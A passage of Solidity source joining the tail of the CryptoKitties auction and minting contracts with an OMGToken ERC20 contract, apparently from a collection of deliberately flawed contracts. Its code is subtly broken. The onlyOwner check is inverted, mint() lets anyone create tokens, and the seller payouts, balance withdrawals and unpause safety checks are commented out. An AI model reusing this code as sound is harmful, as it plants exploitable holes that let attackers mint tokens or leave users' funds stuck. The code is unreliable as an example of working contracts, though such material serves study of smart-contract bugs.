// Send the balance fee to the person who made birth happen. msg.sender.transfer(autoBirthFee); // return the new kitten's ID return kittenId; } } /// @title Auction Core /// @dev Contains models, variables, and internal methods for the auction. /// @notice We omit a fallback function to prevent accidental sends to this contract. contract ClockAuctionBase { // Represents an auction on an NFT struct Auction { // Current owner of NFT address seller; // Price (in wei) at beginning of auction uint128 startingPrice; // Price (in wei) at end of auction uint128 endingPrice; // Duration (in seconds) of auction uint64 duration; // Time when auction started // NOTE: 0 if this auction has been concluded uint64 startedAt; } // Reference to contract tracking NFT ownership ERC721 public nonFungibleContract; // Cut owner takes on each auction, measured in basis points (1/100 of a percent). // Values 0-10,000 map to 0%-100% uint256 public ownerCut; // Map from token ID to their corresponding auction. mapping (uint256 => Auction) tokenIdToAuction; event AuctionCreated(uint256 tokenId, uint256 startingPrice, uint256 endingPrice, uint256 duration); event AuctionSuccessful(uint256 tokenId, uint256 totalPrice, address winner); event AuctionCancelled(uint256 tokenId); /// @dev Returns true if the claimant owns the token. /// @param _claimant - Address claiming to own the token. /// @param _tokenId - ID of token whose ownership to verify. function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) { return (nonFungibleContract.ownerOf(_tokenId) == _claimant); } /// @dev Escrows the NFT, assigning ownership to this contract. /// Throws if the escrow fails. /// @param _owner - Current owner address of token to escrow. /// @param _tokenId - ID of token whose approval to verify. function _escrow(address _owner, uint256 _tokenId) internal { // it will throw if transfer fails nonFungibleContract.transferFrom(_owner, address(this), _tokenId); } /// @dev Transfers an NFT owned by this contract to another address. /// Returns true if the transfer succeeds. /// @param _receiver - Address to transfer NFT to. /// @param _tokenId - ID of token to transfer. function _transfer(address _receiver, uint256 _tokenId) internal { // it will throw if transfer fails nonFungibleContract.transfer(_receiver, _tokenId); } /// @dev Adds an auction to the list of open auctions. Also fires the /// AuctionCreated event. /// @param _tokenId The ID of the token to be put on auction. /// @param _auction Auction to add. function _addAuction(uint256 _tokenId, Auction memory _auction) internal { // Require that all auctions have a duration of // at least one minute. (Keeps our math from getting hairy!) require(_auction.duration >= 1 minutes); tokenIdToAuction[_tokenId] = _auction; emit AuctionCreated( uint256(_tokenId), uint256(_auction.startingPrice), uint256(_auction.endingPrice), uint256(_auction.duration) ); } /// @dev Cancels an auction unconditionally. function _cancelAuction(uint256 _tokenId, address _seller) internal { _removeAuction(_tokenId); _transfer(_seller, _tokenId); emit AuctionCancelled(_tokenId); } /// @dev Computes the price and transfers winnings. /// Does NOT transfer ownership of token. function _bid(uint256 _tokenId, uint256 _bidAmount) internal returns (uint256) { // Get a reference to the auction struct Auction storage auction = tokenIdToAuction[_tokenId]; // Explicitly check that this auction is currently live. // (Because of how Ethereum mappings work, we can't just count // on the lookup above failing. An invalid _tokenId will just // return an auction object that is all zeros.) require(_isOnAuction(auction)); // Check that the bid is greater than or equal to the current price uint256 price = _currentPrice(auction); require(_bidAmount >= price); // Grab a reference to the seller before the auction struct // gets deleted. address seller = auction.seller; // The bid is good! Remove the auction before sending the fees // to the sender so we can't have a reentrancy attack. _removeAuction(_tokenId); // Transfer proceeds to seller (if there are any!) if (price > 0) { // Calculate the auctioneer's cut. // (NOTE: _computeCut() is guaranteed to return a // value <= price, so this subtraction can't go negative.) uint256 auctioneerCut = _computeCut(price); uint256 sellerProceeds = price - auctioneerCut; // NOTE: Doing a transfer() in the middle of a complex // method like this is generally discouraged because of // reentrancy attacks and DoS attacks if the seller is // a contract with an invalid fallback function. We explicitly // guard against reentrancy attacks by removing the auction // before calling transfer(), and the only thing the seller // can DoS is the sale of their own asset! (And if it's an // accident, they can call cancelAuction(). ) //seller.transfer(sellerProceeds); } // Calculate any excess funds included with the bid. If the excess // is anything worth worrying about, transfer it back to bidder. // NOTE: We checked above that the bid amount is greater than or // equal to the price so this cannot underflow. uint256 bidExcess = _bidAmount - price; // Return the funds. Similar to the previous transfer, this is // not susceptible to a re-entry attack because the auction is // removed before any transfers occur. msg.sender.transfer(bidExcess); // Tell the world! emit AuctionSuccessful(_tokenId, price, msg.sender); return price; } /// @dev Removes an auction from the list of open auctions. /// @param _tokenId - ID of NFT on auction. function _removeAuction(uint256 _tokenId) internal { delete tokenIdToAuction[_tokenId]; } /// @dev Returns true if the NFT is on auction. /// @param _auction - Auction to check. function _isOnAuction(Auction storage _auction) internal view returns (bool) { return (_auction.startedAt > 0); } /// @dev Returns current price of an NFT on auction. Broken into two /// functions (this one, that computes the duration from the auction /// structure, and the other that does the price computation) so we /// can easily test that the price computation works correctly. function _currentPrice(Auction storage _auction) internal view returns (uint256) { uint256 secondsPassed = 0; // A bit of insurance against negative values (or wraparound). // Probably not necessary (since Ethereum guarnatees that the // now variable doesn't ever go backwards). if (now > _auction.startedAt) { secondsPassed = now - _auction.startedAt; } return _computeCurrentPrice( _auction.startingPrice, _auction.endingPrice, _auction.duration, secondsPassed ); } /// @dev Computes the current price of an auction. Factored out /// from _currentPrice so we can run extensive unit tests. /// When testing, make this function public and turn on /// `Current price computation` test suite. function _computeCurrentPrice( uint256 _startingPrice, uint256 _endingPrice, uint256 _duration, uint256 _secondsPassed ) internal pure returns (uint256) { // NOTE: We don't use SafeMath (or similar) in this function because // all of our public functions carefully cap the maximum values for // time (at 64-bits) and currency (at 128-bits). _duration is // also known to be non-zero (see the require() statement in // _addAuction()) if (_secondsPassed >= _duration) { // We've reached the end of the dynamic pricing portion // of the auction, just return the end price. return _endingPrice; } else { // Starting price can be higher than ending price (and often is!), so // this delta can be negative. int256 totalPriceChange = int256(_endingPrice) - int256(_startingPrice); // This multiplication can't overflow, _secondsPassed will easily fit within // 64-bits, and totalPriceChange will easily fit within 128-bits, their product // will always fit within 256-bits. int256 currentPriceChange = totalPriceChange * int256(_secondsPassed) / int256(_duration); // currentPriceChange can be negative, but if so, will have a magnitude // less that _startingPrice. Thus, this result will always end up positive. int256 currentPrice = int256(_startingPrice) + currentPriceChange; return uint256(currentPrice); } } /// @dev Computes owner's cut of a sale. /// @param _price - Sale price of NFT. function _computeCut(uint256 _price) internal view returns (uint256) { // NOTE: We don't use SafeMath (or similar) in this function because // all of our entry functions carefully cap the maximum values for // currency (at 128-bits), and ownerCut <= 10000 (see the require() // statement in the ClockAuction constructor). The result of this // function is always guaranteed to be <= _price. return _price * ownerCut / 10000; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev modifier to allow actions only when the contract IS paused */ modifier whenNotPaused() { require(!paused); _; } /** * @dev modifier to allow actions only when the contract IS NOT paused */ modifier whenPaused { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() public onlyOwner whenNotPaused returns (bool) { paused = true; emit Pause(); return true; } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() public onlyOwner whenPaused returns (bool) { paused = false; emit Unpause(); return true; } } /// @title Clock auction for non-fungible tokens. /// @notice We omit a fallback function to prevent accidental sends to this contract. contract ClockAuction is Pausable, ClockAuctionBase { /// @dev The ERC-165 interface signature for ERC-721. /// Ref: https://github.com/ethereum/EIPs/issues/165 /// Ref: https://github.com/ethereum/EIPs/issues/721 bytes4 constant InterfaceSignature_ERC721 = bytes4(0x9a20483d); /// @dev Constructor creates a reference to the NFT ownership contract /// and verifies the owner cut is in the valid range. /// @param _nftAddress - address of a deployed contract implementing /// the Nonfungible Interface. /// @param _cut - percent cut the owner takes on each auction, must be /// between 0-10,000. constructor(address _nftAddress, uint256 _cut) public { require(_cut <= 10000); ownerCut = _cut; ERC721 candidateContract = ERC721(_nftAddress); require(candidateContract.supportsInterface(InterfaceSignature_ERC721)); nonFungibleContract = candidateContract; } /// @dev Remove all Ether from the contract, which is the owner's cuts /// as well as any Ether sent directly to the contract address. /// Always transfers to the NFT contract, but can be called either by /// the owner or the NFT contract. function withdrawBalance() external { address nftAddress = address(nonFungibleContract); require( msg.sender == owner || msg.sender == nftAddress ); // We are using this boolean method to make sure that even if one fails it will still work //bool res = nftAddress.transfer(address(this).balance); } /// @dev Creates and begins a new auction. /// @param _tokenId - ID of token to auction, sender must be owner. /// @param _startingPrice - Price of item (in wei) at beginning of auction. /// @param _endingPrice - Price of item (in wei) at end of auction. /// @param _duration - Length of time to move between starting /// price and ending price (in seconds). /// @param _seller - Seller, if not the message sender function createAuction( uint256 _tokenId, uint256 _startingPrice, uint256 _endingPrice, uint256 _duration, address _seller ) external whenNotPaused { // Sanity check that no inputs overflow how many bits we've allocated // to store them in the auction struct. require(_startingPrice == uint256(uint128(_startingPrice))); require(_endingPrice == uint256(uint128(_endingPrice))); require(_duration == uint256(uint64(_duration))); require(_owns(msg.sender, _tokenId)); _escrow(msg.sender, _tokenId); Auction memory auction = Auction( _seller, uint128(_startingPrice), uint128(_endingPrice), uint64(_duration), uint64(now) ); _addAuction(_tokenId, auction); } /// @dev Bids on an open auction, completing the auction and transferring /// ownership of the NFT if enough Ether is supplied. /// @param _tokenId - ID of token to bid on. function bid(uint256 _tokenId) external payable whenNotPaused { // _bid will throw if the bid or funds transfer fails _bid(_tokenId, msg.value); _transfer(msg.sender, _tokenId); } /// @dev Cancels an auction that hasn't been won yet. /// Returns the NFT to original owner. /// @notice This is a state-modifying function that can /// be called while the contract is paused. /// @param _tokenId - ID of token on auction function cancelAuction(uint256 _tokenId) external { Auction storage auction = tokenIdToAuction[_tokenId]; require(_isOnAuction(auction)); address seller = auction.seller; require(msg.sender == seller); _cancelAuction(_tokenId, seller); } /// @dev Cancels an auction when the contract is paused. /// Only the owner may do this, and NFTs are returned to /// the seller. This should only be used in emergencies. /// @param _tokenId - ID of the NFT on auction to cancel. function cancelAuctionWhenPaused(uint256 _tokenId) whenPaused onlyOwner external { Auction storage auction = tokenIdToAuction[_tokenId]; require(_isOnAuction(auction)); _cancelAuction(_tokenId, auction.seller); } /// @dev Returns auction info for an NFT on auction. /// @param _tokenId - ID of NFT on auction. function getAuction(uint256 _tokenId) external view returns ( address seller, uint256 startingPrice, uint256 endingPrice, uint256 duration, uint256 startedAt ) { Auction storage auction = tokenIdToAuction[_tokenId]; require(_isOnAuction(auction)); return ( auction.seller, auction.startingPrice, auction.endingPrice, auction.duration, auction.startedAt ); } /// @dev Returns the current price of an auction. /// @param _tokenId - ID of the token price we are checking. function getCurrentPrice(uint256 _tokenId) external view returns (uint256) { Auction storage auction = tokenIdToAuction[_tokenId]; require(_isOnAuction(auction)); return _currentPrice(auction); } } /// @title Reverse auction modified for siring /// @notice We omit a fallback function to prevent accidental sends to this contract. contract SiringClockAuction is ClockAuction { // @dev Sanity check that allows us to ensure that we are pointing to the // right auction in our setSiringAuctionAddress() call. bool public isSiringClockAuction = true; // Delegate constructor constructor(address _nftAddr, uint256 _cut) public ClockAuction(_nftAddr, _cut) {} /// @dev Creates and begins a new auction. Since this function is wrapped, /// require sender to be KittyCore contract. /// @param _tokenId - ID of token to auction, sender must be owner. /// @param _startingPrice - Price of item (in wei) at beginning of auction. /// @param _endingPrice - Price of item (in wei) at end of auction. /// @param _duration - Length of auction (in seconds). /// @param _seller - Seller, if not the message sender function createAuction( uint256 _tokenId, uint256 _startingPrice, uint256 _endingPrice, uint256 _duration, address _seller ) external { // Sanity check that no inputs overflow how many bits we've allocated // to store them in the auction struct. require(_startingPrice == uint256(uint128(_startingPrice))); require(_endingPrice == uint256(uint128(_endingPrice))); require(_duration == uint256(uint64(_duration))); require(msg.sender == address(nonFungibleContract)); _escrow(_seller, _tokenId); Auction memory auction = Auction( _seller, uint128(_startingPrice), uint128(_endingPrice), uint64(_duration), uint64(now) ); _addAuction(_tokenId, auction); } /// @dev Places a bid for siring. Requires the sender /// is the KittyCore contract because all bid methods /// should be wrapped. Also returns the kitty to the /// seller rather than the winner. function bid(uint256 _tokenId) external payable { require(msg.sender == address(nonFungibleContract)); address seller = tokenIdToAuction[_tokenId].seller; // _bid checks that token ID is valid and will throw if bid fails _bid(_tokenId, msg.value); // We transfer the kitty back to the seller, the winner will get // the offspring _transfer(seller, _tokenId); } } /// @title Clock auction modified for sale of kitties /// @notice We omit a fallback function to prevent accidental sends to this contract. contract SaleClockAuction is ClockAuction { // @dev Sanity check that allows us to ensure that we are pointing to the // right auction in our setSaleAuctionAddress() call. bool public isSaleClockAuction = true; // Tracks last 5 sale price of gen0 kitty sales uint256 public gen0SaleCount; uint256[5] public lastGen0SalePrices; // Delegate constructor constructor(address _nftAddr, uint256 _cut) public ClockAuction(_nftAddr, _cut) {} /// @dev Creates and begins a new auction. /// @param _tokenId - ID of token to auction, sender must be owner. /// @param _startingPrice - Price of item (in wei) at beginning of auction. /// @param _endingPrice - Price of item (in wei) at end of auction. /// @param _duration - Length of auction (in seconds). /// @param _seller - Seller, if not the message sender function createAuction( uint256 _tokenId, uint256 _startingPrice, uint256 _endingPrice, uint256 _duration, address _seller ) external { // Sanity check that no inputs overflow how many bits we've allocated // to store them in the auction struct. require(_startingPrice == uint256(uint128(_startingPrice))); require(_endingPrice == uint256(uint128(_endingPrice))); require(_duration == uint256(uint64(_duration))); require(msg.sender == address(nonFungibleContract)); _escrow(_seller, _tokenId); Auction memory auction = Auction( _seller, uint128(_startingPrice), uint128(_endingPrice), uint64(_duration), uint64(now) ); _addAuction(_tokenId, auction); } /// @dev Updates lastSalePrice if seller is the nft contract /// Otherwise, works the same as default bid method. function bid(uint256 _tokenId) external payable { // _bid verifies token ID size address seller = tokenIdToAuction[_tokenId].seller; uint256 price = _bid(_tokenId, msg.value); _transfer(msg.sender, _tokenId); // If not a gen0 auction, exit if (seller == address(nonFungibleContract)) { // Track gen0 sale prices lastGen0SalePrices[gen0SaleCount % 5] = price; gen0SaleCount++; } } function averageGen0SalePrice() external view returns (uint256) { uint256 sum = 0; for (uint256 i = 0; i < 5; i++) { sum += lastGen0SalePrices[i]; } return sum / 5; } } /// @title Handles creating auctions for sale and siring of kitties. /// This wrapper of ReverseAuction exists only so that users can create /// auctions with only one transaction. contract KittyAuction is KittyBreeding { // @notice The auction contract variables are defined in KittyBase to allow // us to refer to them in KittyOwnership to prevent accidental transfers. // `saleAuction` refers to the auction for gen0 and p2p sale of kitties. // `siringAuction` refers to the auction for siring rights of kitties. /// @dev Sets the reference to the sale auction. /// @param _address - Address of sale contract. function setSaleAuctionAddress(address _address) external onlyCEO { SaleClockAuction candidateContract = SaleClockAuction(_address); // NOTE: verify that a contract is what we expect - https://github.com/Lunyr/crowdsale-contracts/blob/cfadd15986c30521d8ba7d5b6f57b4fefcc7ac38/contracts/LunyrToken.sol#L117 require(candidateContract.isSaleClockAuction()); // Set the new contract address saleAuction = candidateContract; } /// @dev Sets the reference to the siring auction. /// @param _address - Address of siring contract. function setSiringAuctionAddress(address _address) external onlyCEO { SiringClockAuction candidateContract = SiringClockAuction(_address); // NOTE: verify that a contract is what we expect - https://github.com/Lunyr/crowdsale-contracts/blob/cfadd15986c30521d8ba7d5b6f57b4fefcc7ac38/contracts/LunyrToken.sol#L117 require(candidateContract.isSiringClockAuction()); // Set the new contract address siringAuction = candidateContract; } /// @dev Put a kitty up for auction. /// Does some ownership trickery to create auctions in one tx. function createSaleAuction( uint256 _kittyId, uint256 _startingPrice, uint256 _endingPrice, uint256 _duration ) external whenNotPaused { // Auction contract checks input sizes // If kitty is already on any auction, this will throw // because it will be owned by the auction contract. require(_owns(msg.sender, _kittyId)); // Ensure the kitty is not pregnant to prevent the auction // contract accidentally receiving ownership of the child. // NOTE: the kitty IS allowed to be in a cooldown. require(!isPregnant(_kittyId)); _approve(_kittyId, address(saleAuction)); // Sale auction throws if inputs are invalid and clears // transfer and sire approval after escrowing the kitty. saleAuction.createAuction( _kittyId, _startingPrice, _endingPrice, _duration, msg.sender ); } /// @dev Put a kitty up for auction to be sire. /// Performs checks to ensure the kitty can be sired, then /// delegates to reverse auction. function createSiringAuction( uint256 _kittyId, uint256 _startingPrice, uint256 _endingPrice, uint256 _duration ) external whenNotPaused { // Auction contract checks input sizes // If kitty is already on any auction, this will throw // because it will be owned by the auction contract. require(_owns(msg.sender, _kittyId)); require(isReadyToBreed(_kittyId)); _approve(_kittyId, address(siringAuction)); // Siring auction throws if inputs are invalid and clears // transfer and sire approval after escrowing the kitty. siringAuction.createAuction( _kittyId, _startingPrice, _endingPrice, _duration, msg.sender ); } /// @dev Completes a siring auction by bidding. /// Immediately breeds the winning matron with the sire on auction. /// @param _sireId - ID of the sire on auction. /// @param _matronId - ID of the matron owned by the bidder. function bidOnSiringAuction( uint256 _sireId, uint256 _matronId ) external payable whenNotPaused { // Auction contract checks input sizes require(_owns(msg.sender, _matronId)); require(isReadyToBreed(_matronId)); require(_canBreedWithViaAuction(_matronId, _sireId)); // Define the current price of the auction. uint256 currentPrice = siringAuction.getCurrentPrice(_sireId); require(msg.value >= currentPrice + autoBirthFee); // Siring auction will throw if the bid fails. siringAuction.bid.value(msg.value - autoBirthFee)(_sireId); _breedWith(uint32(_matronId), uint32(_sireId)); } /// @dev Transfers the balance of the sale auction contract /// to the KittyCore contract. We use two-step withdrawal to /// prevent two transfer calls in the auction bid function. function withdrawAuctionBalances() external onlyCLevel { saleAuction.withdrawBalance(); siringAuction.withdrawBalance(); } } /// @title all functions related to creating kittens contract KittyMinting is KittyAuction { // Limits the number of cats the contract owner can ever create. uint256 public constant PROMO_CREATION_LIMIT = 5000; uint256 public constant GEN0_CREATION_LIMIT = 45000; // Constants for gen0 auctions. uint256 public constant GEN0_STARTING_PRICE = 10 finney; uint256 public constant GEN0_AUCTION_DURATION = 1 days; // Counts the number of cats the contract owner has created. uint256 public promoCreatedCount; uint256 public gen0CreatedCount; /// @dev we can create promo kittens, up to a limit. Only callable by COO /// @param _genes the encoded genes of the kitten to be created, any value is accepted /// @param _owner the future owner of the created kittens. Default to contract COO function createPromoKitty(uint256 _genes, address _owner) external onlyCOO { address kittyOwner = _owner; if (kittyOwner == address(0)) { kittyOwner = cooAddress; } require(promoCreatedCount < PROMO_CREATION_LIMIT); promoCreatedCount++; _createKitty(0, 0, 0, _genes, kittyOwner); } /// @dev Creates a new gen0 kitty with the given genes and /// creates an auction for it. function createGen0Auction(uint256 _genes) external onlyCOO { require(gen0CreatedCount < GEN0_CREATION_LIMIT); uint256 kittyId = _createKitty(0, 0, 0, _genes, address(this)); _approve(kittyId, address(saleAuction)); saleAuction.createAuction( kittyId, _computeNextGen0Price(), 0, GEN0_AUCTION_DURATION, address(this) ); gen0CreatedCount++; } /// @dev Computes the next gen0 auction starting price, given /// the average of the past 5 prices + 50%. function _computeNextGen0Price() internal view returns (uint256) { uint256 avePrice = saleAuction.averageGen0SalePrice(); // Sanity check to ensure we don't overflow arithmetic require(avePrice == uint256(uint128(avePrice))); uint256 nextPrice = avePrice + (avePrice / 2); // We never auction for less than starting price if (nextPrice < GEN0_STARTING_PRICE) { nextPrice = GEN0_STARTING_PRICE; } return nextPrice; } } /// @title CryptoKitties: Collectible, breedable, and oh-so-adorable cats on the Ethereum blockchain. /// @author Axiom Zen (https://www.axiomzen.co) /// @dev The main CryptoKitties contract, keeps track of kittens so they don't wander around and get lost. contract KittyCore is KittyMinting { // This is the main CryptoKitties contract. In order to keep our code seperated into logical sections, // we've broken it up in two ways. First, we have several seperately-instantiated sibling contracts // that handle auctions and our super-top-secret genetic combination algorithm. The auctions are // seperate since their logic is somewhat complex and there's always a risk of subtle bugs. By keeping // them in their own contracts, we can upgrade them without disrupting the main contract that tracks // kitty ownership. The genetic combination algorithm is kept seperate so we can open-source all of // the rest of our code without making it _too_ easy for folks to figure out how the genetics work. // Don't worry, I'm sure someone will reverse engineer it soon enough! // // Secondly, we break the core contract into multiple files using inheritence, one for each major // facet of functionality of CK. This allows us to keep related code bundled together while still // avoiding a single giant file with everything in it. The breakdown is as follows: // // - KittyBase: This is where we define the most fundamental code shared throughout the core // functionality. This includes our main data storage, constants and data types, plus // internal functions for managing these items. // // - KittyAccessControl: This contract manages the various addresses and constraints for operations // that can be executed only by specific roles. Namely CEO, CFO and COO. // // - KittyOwnership: This provides the methods required for basic non-fungible token // transactions, following the draft ERC-721 spec (https://github.com/ethereum/EIPs/issues/721). // // - KittyBreeding: This file contains the methods necessary to breed cats together, including // keeping track of siring offers, and relies on an external genetic combination contract. // // - KittyAuctions: Here we have the public methods for auctioning or bidding on cats or siring // services. The actual auction functionality is handled in two sibling contracts (one // for sales and one for siring), while auction creation and bidding is mostly mediated // through this facet of the core contract. // // - KittyMinting: This final facet contains the functionality we use for creating new gen0 cats. // We can make up to 5000 "promo" cats that can be given away (especially important when // the community is new), and all others can only be created and then immediately put up // for auction via an algorithmically determined starting price. Regardless of how they // are created, there is a hard limit of 50k gen0 cats. After that, it's all up to the // community to breed, breed, breed! // Set in case the core contract is broken and an upgrade is required address public newContractAddress; /// @notice Creates the main CryptoKitties smart contract instance. constructor() public { // Starts paused. paused = true; // the creator of the contract is the initial CEO ceoAddress = msg.sender; // the creator of the contract is also the initial COO cooAddress = msg.sender; // start with the mythical kitten 0 - so we don't have generation-0 parent issues _createKitty(0, 0, 0, uint256(-1), address(0)); } /// @dev Used to mark the smart contract as upgraded, in case there is a serious /// breaking bug. This method does nothing but keep track of the new contract and /// emit a message indicating that the new address is set. It's up to clients of this /// contract to update to the new contract address in that case. (This contract will /// be paused indefinitely if such an upgrade takes place.) /// @param _v2Address new address function setNewAddress(address _v2Address) external onlyCEO whenPaused { // See README.md for updgrade plan newContractAddress = _v2Address; emit ContractUpgrade(_v2Address); } /// @notice No tipping! /// @dev Reject all Ether from being sent here, unless it's from one of the /// two auction contracts. (Hopefully, we can prevent user accidents.) function() external payable { require( msg.sender == address(saleAuction) || msg.sender == address(siringAuction) ); } /// @notice Returns all the relevant information about a specific kitty. /// @param _id The ID of the kitty of interest. function getKitty(uint256 _id) external view returns ( bool isGestating, bool isReady, uint256 cooldownIndex, uint256 nextActionAt, uint256 siringWithId, uint256 birthTime, uint256 matronId, uint256 sireId, uint256 generation, uint256 genes ) { Kitty storage kit = kitties[_id]; // if this variable is 0 then it's not gestating isGestating = (kit.siringWithId != 0); isReady = (kit.cooldownEndBlock <= block.number); cooldownIndex = uint256(kit.cooldownIndex); nextActionAt = uint256(kit.cooldownEndBlock); siringWithId = uint256(kit.siringWithId); birthTime = uint256(kit.birthTime); matronId = uint256(kit.matronId); sireId = uint256(kit.sireId); generation = uint256(kit.generation); genes = kit.genes; } /// @dev Override unpause so it requires all external contract addresses /// to be set before contract can be unpaused. Also, we can't have /// newContractAddress set either, because then the contract was upgraded. /// @notice This is public rather than external so we can call super.unpause /// without using an expensive CALL. function unpause() public onlyCEO whenPaused { // require(saleAuction != address(0)); // require(siringAuction != address(0)); // require(geneScience != address(0)); // require(newContractAddress == address(0)); // Actually unpause the contract. super.unpause(); } // @dev Allows the CFO to capture the balance available to the contract. function withdrawBalance() external onlyCFO { uint256 balance = address(this).balance; // Subtract all the currently pregnant kittens we have, plus 1 of margin. uint256 subtractFees = (pregnantKitties + 1) * autoBirthFee; // if (balance > subtractFees) { // cfoAddress.send(balance - subtractFees); // } } }/** * Submitted for verification at Etherscan.io on 2017-07-05 * @note: represents a non-standard ERC20 token that contains a * transferFrom function that does not return bool */ pragma solidity 0.5.12; import "openzeppelin-solidity/contracts/math/SafeMath.sol"; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20Basic { uint public totalSupply; function balanceOf(address who) public view returns (uint); function transfer(address to, uint value) public ; event Transfer(address indexed from, address indexed to, uint value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint; mapping(address => uint) balances; /** * @dev Fix for the ERC20 short address attack. */ modifier onlyPayloadSize(uint size) { require(msg.data.length >= size + 4, 'Payload attack'); _; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint _value) public onlyPayloadSize(2 * 32) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC202 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint); function transferFrom(address from, address to, uint value) public ; function approve(address spender, uint value) public; event Approval(address indexed owner, address indexed spender, uint value); } /** * @title Standard ERC20 token * * @dev Implemantation of the basic standart token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is BasicToken, ERC202 { mapping (address => mapping (address => uint)) public allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint _value) public onlyPayloadSize(3 * 32) { uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // if (_value > _allowance) throw; balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); emit Transfer(_from, _to, _value); } /** * @dev Aprove the passed address to spend the specified amount of tokens on beahlf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint _value) public { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value != 0) && (allowed[msg.sender][_spender] == 0), 'Invalid approval'); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); } /** * @dev Function to check the amount of tokens than an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint specifing the amount of tokens still avaible for the spender. */ function allowance(address _owner, address _spender) public view returns (uint remaining) { return allowed[_owner][_spender]; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender != owner, 'NOT_OWNER'); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint value); event MintFinished(); bool public mintingFinished = false; uint public totalSupply = 0; /** * @dev Function to mint tokens * @param _to The address that will recieve the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint _amount) public returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() public onlyOwner returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev modifier to allow actions only when the contract IS paused */ modifier whenNotPaused() { require(!paused, 'NOT PAUSED'); _; } /** * @dev modifier to allow actions only when the contract IS NOT paused */ modifier whenPaused { require(paused, 'PAUSED'); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() public onlyOwner whenNotPaused returns (bool) { paused = true; emit Pause(); return true; } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() public onlyOwner whenPaused returns (bool) { paused = false; emit Unpause(); return true; } } /** * Pausable token * * Simple ERC20 Token example, with pausable token creation **/ contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint _value) public whenNotPaused { super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint _value) public whenNotPaused { super.transferFrom(_from, _to, _value); } } /** * @title TokenTimelock * @dev TokenTimelock is a token holder contract that will allow a * beneficiary to extract the tokens after a time has passed */ contract TokenTimelock { // ERC20 basic token contract being held ERC20Basic token; // beneficiary of tokens after they are released address beneficiary; // timestamp where token release is enabled uint releaseTime; constructor(ERC20Basic _token, address _beneficiary, uint _releaseTime) public { require(_releaseTime > now); token = _token; beneficiary = _beneficiary; releaseTime = _releaseTime; } /** * @dev beneficiary claims tokens held by time lock */ function claim() public { require(msg.sender == beneficiary); require(now >= releaseTime); uint amount = token.balanceOf(address(this)); require(amount > 0); token.transfer(beneficiary, amount); } } /** * @title OMGToken * @dev Omise Go Token contract */ contract OMGToken is PausableToken, MintableToken { using SafeMath for uint256; string public name = "OMGToken"; string public symbol = "OMG"; uint public decimals = 18; /** * @dev mint timelocked tokens */ function mintTimelocked(address _to, uint256 _amount, uint256 _releaseTime) public onlyOwner returns (TokenTimelock) { TokenTimelock timelock = new TokenTimelock(this, _to, _releaseTime); mint(address(timelock), _amount); return timelock; } }
